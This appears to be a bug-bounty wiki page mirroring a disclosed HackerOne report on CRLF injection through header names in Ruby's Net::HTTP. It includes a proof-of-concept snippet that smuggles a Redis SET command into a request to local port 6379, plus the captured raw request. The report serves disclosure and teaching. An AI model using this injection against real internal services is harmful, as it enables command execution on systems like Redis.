Skip to content
Smuggling / CRLF Disclosed report Intermediate

Header CRLF Injection in Ruby Net::HTTP

Ruby's Net::HTTP library does not validate header names, allowing CRLF injection when an attacker controls a header name. This lets an attacker inject arbitrary content into the HTTP request, potentially executing commands on internal services like Redis.

leixiao Follow

Originally disclosed on HackerOne

Informational View original
  • Disclosed after 7 months

There is a Header CRLF Injection vulnerability in Ruby Net::HTTP. When I run the following code:

require 'net/http'

http = Net::HTTP.new('127.0.0.1', 6379)
headers = {
  "test\r\nSET VULN POC \r\n" => "test",
}
resp, data = http.get("/", headers)

The service on port 6379 will receive the following packet:

GET / HTTP/1.1
Test
set vuln poc
: test
Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3
Accept: */*
User-Agent: Ruby
Connection: close
Host: 127.0.0.1:6379

This means that if an attacker can control the header name, he can inject arbitrary content into the HTTP request. This is very dangerous.

Impact

If port 6379 is running the Redis service, the attacker can directly execute the Redis command. So this vulnerability can be used to attack internal services like Redis etc.

image.png
image.png From the original on HackerOne

The original report as published on HackerOne, by leixiao. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely, the library fails to sanitise header names, allowing carriage return and line feed characters to be included and interpreted as part of the request.

Impact

An attacker could inject arbitrary content into HTTP requests, potentially executing commands on internal services such as Redis.

What the attacker needed

Attacker controls a header name; target service accepts HTTP-like protocol

How it was found

  1. Create a Net::HTTP object pointing to a target host and port.
  2. Set a header name that contains CRLF characters followed by a command.
  3. Send a GET request with that header.
  4. Observe that the injected command appears in the raw request received by the service.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a program sends a web request, it includes headers, which are like labels with values. If a header name contains special newline characters, the program might treat the following text as a new request line. This can trick a server into running unintended commands.

What is Smuggling / CRLF?

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.

More by leixiao

View all

4 more disclosed reports, best first.

More from Ruby

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Request smuggling and header injection

The lesson behind this report.

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.